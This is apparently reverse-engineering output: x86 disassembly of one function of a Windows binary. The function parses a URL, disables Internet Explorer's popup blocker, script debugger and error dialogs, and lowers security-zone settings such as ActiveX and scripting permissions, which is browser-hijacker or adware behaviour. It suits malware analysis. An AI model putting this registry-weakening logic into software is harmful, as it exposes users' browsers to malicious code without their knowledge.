Function at 0x44ad80
Capabilities:
Set registry value
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x4a9a60
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5ec
push ebx
push ebp
push esi
mov esi, ecx
push edi
push str.127.000.000.001
lea ecx, [esp + 0x3c]
call fcn.0048fbdf
xor ebp, ebp
push 0x4db730
lea ecx, [esp + 0x44]
mov dword [esp + 0x608], ebp
mov dword [esp + 0x1c], ebp
mov byte [esp + 0x17], 0
call fcn.0048fbdf
mov eax, dword [esi + 0xf8]
lea edi, [esi + 0xf8]
mov byte [esp + 0x604], 1
mov esi, 0x4db730
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x44ae10
test cl, cl
je 0x44ae0c
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x44ae10
add eax, 2
add esi, 2
test cl, cl
jne 0x44ade8
xor eax, eax
jmp 0x44ae15
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebp
je 0x44b310
push str.http
mov ecx, edi
call fcn.004880b9
test eax, eax
jl 0x44b310
push 0x4db730
lea ecx, [esp + 0x30]
call fcn.0048fbdf
push 0x4db730
lea ecx, [esp + 0x24]
mov byte [esp + 0x608], 2
call fcn.0048fbdf
push edi
lea ecx, [esp + 0x24]
mov byte [esp + 0x608], 3
call fcn.0048fcaa
lea eax, [esp + 0x1c]
push 7
push eax
lea ecx, [esp + 0x28]
call fcn.0048801f
mov eax, dword [eax]
mov esi, str.http:__
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x44aea6
test cl, cl
je 0x44aea2
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x44aea6
add eax, 2
add esi, 2
test cl, cl
jne 0x44ae7e
xor eax, eax
jmp 0x44aeab
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
lea ecx, [esp + 0x1c]
sete bl
call fcn.0048fb71
test bl, bl
je 0x44af2c
lea eax, [esp + 0x1c]
push 4
push eax
lea ecx, [esp + 0x28]
call fcn.0048801f
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x608], 4
call fcn.0048fcaa
lea ecx, [esp + 0x1c]
mov byte [esp + 0x604], 3
call fcn.0048fb71
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x1c]
mov eax, dword [ecx - 8]
lea ecx, [esp + 0x20]
add eax, 0xfffffff9
push eax
push edx
call fcn.00487fa3
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x608], 5
call fcn.0048fcaa
lea ecx, [esp + 0x1c]
mov byte [esp + 0x604], 3
call fcn.0048fb71
lea eax, [esp + 0x1c]
push 8
push eax
lea ecx, [esp + 0x28]
call fcn.0048801f
mov eax, dword [eax]
mov esi, str.https:__
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x44af6b
test cl, cl
je 0x44af67
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x44af6b
add eax, 2
add esi, 2
test cl, cl
jne 0x44af43
xor eax, eax
jmp 0x44af70
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
lea ecx, [esp + 0x1c]
sete bl
call fcn.0048fb71
test bl, bl
je 0x44aff1
lea eax, [esp + 0x1c]
push 5
push eax
lea ecx, [esp + 0x28]
call fcn.0048801f
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x608], 6
call fcn.0048fcaa
lea ecx, [esp + 0x1c]
mov byte [esp + 0x604], 3
call fcn.0048fb71
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x1c]
mov eax, dword [ecx - 8]
lea ecx, [esp + 0x20]
add eax, 0xfffffff8
push eax
push edx
call fcn.00487fa3
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x608], 7
call fcn.0048fcaa
lea ecx, [esp + 0x1c]
mov byte [esp + 0x604], 3
call fcn.0048fb71
mov eax, dword [esp + 0x20]
xor edi, edi
mov eax, dword [eax - 8]
dec eax
test eax, eax
jle 0x44b14b
mov bl, 0xa
mov ecx, dword [0x4d93ac]
mov dword [esp + 0x1c], ecx
test edi, edi
mov byte [esp + 0x604], 8
push edi
jle 0x44b07c
lea edx, [esp + 0x40]
lea ecx, [esp + 0x24]
push edx
call fcn.0048801f
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x608], 9
call fcn.0048fcaa
lea ecx, [esp + 0x3c]
mov byte [esp + 0x604], 8
call fcn.0048fb71
lea eax, [esp + 0x44]
push 1
push eax
lea ecx, [esp + 0x24]
call fcn.00487fa3
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x608], bl
call fcn.0048fcaa
mov byte [esp + 0x604], 8
lea ecx, [esp + 0x44]
jmp 0x44b0a8
lea ecx, [esp + 0x28]
push ecx
lea ecx, [esp + 0x28]
call fcn.0048801f
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x608], 0xb
call fcn.0048fcaa
mov byte [esp + 0x604], 8
lea ecx, [esp + 0x24]
call fcn.0048fb71
mov eax, dword [esp + 0x1c]
mov esi, 0x4d5250
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x44b0da
test cl, cl
je 0x44b0d6
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x44b0da
add eax, 2
add esi, 2
test cl, cl
jne 0x44b0b6
xor eax, eax
jmp 0x44b0df
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x44b107
lea ecx, [esp + 0x1c]
mov byte [esp + 0x604], 3
call fcn.0048fb71
mov eax, dword [esp + 0x20]
inc edi
mov eax, dword [eax - 8]
dec eax
cmp edi, eax
jl 0x44b005
jmp 0x44b14b
dec edi
lea ecx, [esp + 0x24]
push edi
push ecx
lea ecx, [esp + 0x28]
call fcn.0048801f
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x608], 0xc
call fcn.0048fcaa
lea ecx, [esp + 0x24]
mov byte [esp + 0x604], 8
call fcn.0048fb71
lea ecx, [esp + 0x1c]
mov byte [esp + 0x604], 3
call fcn.0048fb71
lea edx, [esp + 0x2c]
push 0x4d58a0
lea eax, [esp + 0x28]
push edx
push eax
call fcn.0048fe06
lea ecx, [esp + 0x20]
lea edx, [esp + 0x28]
push ecx
push eax
push edx
mov byte [esp + 0x610], 0xd
call fcn.0048fda0
lea ecx, [esp + 0x24]
mov byte [esp + 0x604], 0xf
call fcn.0048fb71
mov edx, dword [esp + 0x28]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push 0
dec ecx
push 0
push ecx
push edx
push eax
push eax
mov ebx, edx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebp, eax
lea edi, [ebp + ebp + 2]
push edi
call fcn.0049018f
mov ecx, edi
mov esi, eax
mov edx, ecx
xor eax, eax
mov edi, esi
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push ebx
push eax
push eax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp ebp, eax
je 0x44b1f8
test esi, esi
je 0x44b1f8
push esi
call fcn.004901b8
add esp, 4
xor esi, esi
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push 0
mov edi, eax
call dword [sym.imp.ole32.dll_CoInitialize]
mov ebx, dword [sym.imp.ole32.dll_CoCreateInstance]
lea eax, [esp + 0x34]
push eax
push 0x4bd5c0
push 1
push 0
push 0x4bd5b0
call ebx
lea ecx, [esp + 0x30]
push ecx
push 0x4bd5a0
push 1
push 0
push 0x4bd590
call ebx
mov eax, dword [esp + 0x30]
lea ecx, [esp + 0x48]
push ecx
push 2
mov edx, dword [eax]
push eax
call dword [edx + 0xc]
mov edx, dword [esp + 0x5f8]
and edx, 4
cmp dl, 4
jne 0x44b2ad
mov eax, dword [esp + 0x5f8]
lea edx, [esp + 0x48]
and al, 0xfb
push edx
mov dword [esp + 0x5fc], eax
mov eax, dword [esp + 0x34]
push 2
push eax
mov ecx, dword [eax]
call dword [ecx + 0x10]
mov eax, dword [esp + 0x34]
push 0
push edi
push 2
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov ebp, dword [esp + 0x5f8]
mov eax, dword [esp + 0x30]
or ebp, 4
lea ecx, [esp + 0x48]
mov dword [esp + 0x5f8], ebp
mov edx, dword [eax]
push ecx
push 2
push eax
call dword [edx + 0x10]
jmp 0x44b2bc
mov eax, dword [esp + 0x34]
push 0
push edi
push 2
mov edx, dword [eax]
push eax
call dword [edx + 0x24]
mov eax, dword [esp + 0x34]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x30]
push eax
mov edx, dword [eax]
call dword [edx + 8]
test esi, esi
je 0x44b2dd
push esi
call fcn.004901b8
add esp, 4
lea ecx, [esp + 0x28]
mov byte [esp + 0x604], 3
call fcn.0048fb71
lea ecx, [esp + 0x20]
mov byte [esp + 0x604], 2
call fcn.0048fb71
lea ecx, [esp + 0x2c]
mov byte [esp + 0x604], 1
call fcn.0048fb71
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x14]
push eax
xor ebx, ebx
push 0x20006
push ebx
push str.SoftwareMicrosoftInternet_ExplorerNew_Windows
push connect
call esi
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp eax, ebx
je 0x44b346
mov byte [esp + 0x13], 1
jmp 0x44b3ad
mov edi, 0x4d6b74
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x20]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x3e8
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push 3
push ecx
push 1
push ebx
push str.PopupMgr
push edx
call ebp
cmp eax, ebx
je 0x44b396
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x14]
push ecx
push 0x20006
push ebx
push str.SoftwareMicrosoftInternet_ExplorerNew_WindowsAllow
push connect
call esi
cmp eax, ebx
je 0x44b3cf
mov byte [esp + 0x13], 1
jmp 0x44b401
mov al, byte [esp + 0x13]
test al, al
jne 0x44b401
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x24]
push 4
push edx
push 3
push ebx
push eax
push ecx
mov dword [esp + 0x3c], ebx
call ebp
cmp eax, ebx
je 0x44b3fa
mov byte [esp + 0x13], 1
mov edx, dword [esp + 0x14]
push edx
call edi
lea eax, [esp + 0x14]
push eax
push 0x20006
push ebx
push str.SoftwareMicrosoftInternet_ExplorerMain_
push connect
call esi
test eax, eax
je 0x44b426
mov byte [esp + 0x13], 1
jmp 0x44b4e8
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x24]
push 4
push ecx
push 4
push ebx
push str.StatusBarWeb
push edx
mov dword [esp + 0x3c], ebx
call ebp
test eax, eax
je 0x44b449
mov byte [esp + 0x13], 1
push 0x4d6c7c
lea ecx, [esp + 0x20]
call fcn.0048fbdf
mov eax, dword [esp + 0x1c]
mov byte [esp + 0x604], 0x10
mov ecx, dword [eax - 8]
push ecx
push eax
mov eax, dword [esp + 0x1c]
push 1
push ebx
push str.Disable_Script_Debugger
push eax
call ebp
test eax, eax
je 0x44b480
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax - 8]
push ecx
mov ecx, dword [esp + 0x18]
push eax
push 1
push ebx
push str.DisableScriptDebuggerIE
push ecx
call ebp
test eax, eax
je 0x44b4a1
mov byte [esp + 0x13], 1
push 0x4d6b74
lea ecx, [esp + 0x20]
call fcn.0048fcfa
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax - 8]
push ecx
push eax
push 1
push ebx
push str.Error_Dlg_Displayed_On_Every_Error
push edx
call ebp
test eax, eax
je 0x44b4d0
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x14]
push eax
call edi
lea ecx, [esp + 0x1c]
mov byte [esp + 0x604], 1
call fcn.0048fb71
lea ecx, [esp + 0x14]
push ecx
push 0x20006
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings_
push connect
call esi
test eax, eax
je 0x44b50a
mov byte [esp + 0x13], 1
jmp 0x44b538
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
push 4
push edx
push 4
push ebx
push str.SyncMode5
push eax
mov dword [esp + 0x3c], 3
call ebp
test eax, eax
je 0x44b531
mov byte [esp + 0x13], 1
mov ecx, dword [esp + 0x14]
push ecx
call edi
lea edx, [esp + 0x14]
push edx
push 0x20006
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones1
push connect
call esi
cmp eax, ebx
je 0x44b55d
mov byte [esp + 0x13], 1
jmp 0x44b68e
mov al, byte [esp + 0x13]
test al, al
jne 0x44b68e
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1001
push ecx
call ebp
cmp eax, ebx
je 0x44b588
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1004
push eax
call ebp
cmp eax, ebx
je 0x44b5a7
mov byte [esp + 0x13], 1
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1201
push edx
call ebp
cmp eax, ebx
je 0x44b5c6
mov byte [esp + 0x13], 1
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1200
push ecx
call ebp
cmp eax, ebx
je 0x44b5e5
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1405
push eax
call ebp
cmp eax, ebx
je 0x44b604
mov byte [esp + 0x13], 1
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1803
push edx
call ebp
cmp eax, ebx
je 0x44b623
mov byte [esp + 0x13], 1
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.2000
push ecx
call ebp
cmp eax, ebx
je 0x44b649
push ebx
mov byte [esp + 0x17], 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.2201
push eax
call ebp
cmp eax, ebx
je 0x44b668
mov byte [esp + 0x13], 1
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.2200
push edx
call ebp
cmp eax, ebx
je 0x44b687
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x14]
push eax
call edi
lea ecx, [esp + 0x14]
push ecx
push 0x20006
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones2
push connect
call esi
cmp eax, ebx
jne 0x44b9ec
mov al, byte [esp + 0x13]
test al, al
jne 0x44b9ec
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x28]
push 4
push edx
push 4
push ebx
push str.CurrentLevel
push eax
mov dword [esp + 0x40], 0x2710
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x28]
push 4
push ecx
push 4
push ebx
push str.MinLevel
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1001
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1004
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1200
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1201
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1206
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1209
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1400
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1402
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1405
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1406
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1407
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1601
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1606
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1607
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1608
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1609
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1802
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1803
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1804
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1805
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1806
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1809
push ecx
mov dword [esp + 0x30], 3
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.1A02
push eax
mov dword [esp + 0x30], ebx
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.1A03
push edx
call ebp
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.1A10
mov ecx, dword [esp + 0x28]
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.2000
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.2001
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.2004
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.2100
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.2101
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.2102
push ecx
call ebp
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push ebx
push str.2200
push eax
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.2201
push edx
call ebp
lea eax, [esp + 0x18]
push 4
push eax
push 4
push ebx
push str.2300
mov ecx, dword [esp + 0x28]
push ecx
call ebp
mov edx, dword [esp + 0x14]
push edx
call edi
lea ecx, [esp + 0x40]
mov byte [esp + 0x604], 0
call fcn.0048fb71
lea ecx, [esp + 0x38]
mov dword [esp + 0x604], 0xffffffff
call fcn.0048fb71
mov ecx, dword [esp + 0x5fc]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x5f8
ret